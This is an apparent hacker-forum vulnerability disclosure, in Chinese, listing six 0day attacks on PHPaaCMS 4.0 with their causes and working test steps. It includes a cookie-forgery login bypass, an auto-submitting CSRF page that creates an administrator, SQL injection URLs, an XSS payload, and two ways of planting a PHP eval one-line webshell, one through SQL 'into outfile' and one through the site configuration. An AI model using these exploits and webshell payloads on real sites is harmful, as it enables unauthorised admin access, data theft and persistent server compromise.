PHPaaCMS 4.0 oday
作者 菲哥哥
Blog http://hi.baidu.com/feihacker/
1. Cookie欺骗:
形成原因:
只判断Cookie不为空就能登录到后台
if (!isset($_COOKIE['userid']) || empty($_COOKIE['userid'])){
//如果没有设置userid 或者 userid 为空
setcookie(lastURL,get_url());//上次访问地址
header(“Location: login.php”);//跳转到登录页面 }
测试:
javascript:alert(document.cookie="userid=1")为Cookie赋值
然后直接访问后台就可以登录了
2. CSRF
形成原因:
前台留言版支持html. 后台添加管理的时候对提交信息的来源判断不到
位,可以添加验证码来防止CSRF,判断referer
测试
在添加管理员时抓包,构造好一个添加管理员的HTML页面上传到远程服
务器,然后在留言版以<a herf=“远程HTML”>添加管理员测试</A>这
样的形式添加到留言当中,当管理员点击链接的时候就会添加一个管理员
CSRF Exp
<html>
<head>Exp PHPpaCMS CSRF 菲哥哥 or 菲</head>
<body onload=javascript:document.form.submit()>
<form action="http://localhost/cms/phpaaCMS/admin/user.action.php" method="post" name="form">
<input type="hidden" name="act" value="add">
<input type="hidden" name="username" value="feihacker">
<input type="hidden" name="password" value="xxxx">
<input type="hidden" name="password2" value="xxxx">
<input type="hidden" name="userid" value="0">
</body>
</html>
3. 注入:
形成原因:
对参数过滤不到位直接带入SQL语句造成的
漏洞页面
admin/page.add.php
admin/ message.action.php
admin/article.add.php
search.php
$userid = trim($_GET [‘userid’])?trim($_GET [‘userid’]):0;//只过滤了空格
find ( "select * from phpaadb_users where userid=" . $userid );
以上3个页面均是对userid 过滤不严造成的
测试:
http://localhost/phpaaCMS/admin/friendlink.add.php?act=edit&id=1%20and%201=2%20union%20select%201,2,3,user%28%29,5,6
http://localhost/phpaaCMS/admin/user.add.php?act=edit,&userid=31 union select 1,user(),3
http://localhost/phpaaCMS/admin/article.add.php?act=add&cid=1&id=32%27
4. XSS
形成原因:
对进行搜索时输入的html标签过滤不到
漏洞页面 search.php
测试
http://localhost/phpaacms/search.php?keywords=>"><ScRiPt
>alert(document.cookie);</ScRiPt>
5. 后台执行恢复数据可以写一句话:
形成原因:
恢复数据的时候可以自定义SQL语句造成的.
测试:
在自己的SQL 脚本中写入如下代码
select * from hacker union select '1' from mysql.user into
outfile 'D:\\www\\hack.php‘
在执行恢复的时候可以生成一句话木马
6. 配置文件写一句话
形成原因:
把网站配置信息写到website.inc.php文件中过滤不到位造成的
测试
直接写常规的php木马是不行得,
/“)?><?php @eval($_POST[hack] // 这个是我构造好的PHP一句话正
好闭合,在写网站配置信息的时候在管理员邮箱写上面的变形木马就
可以了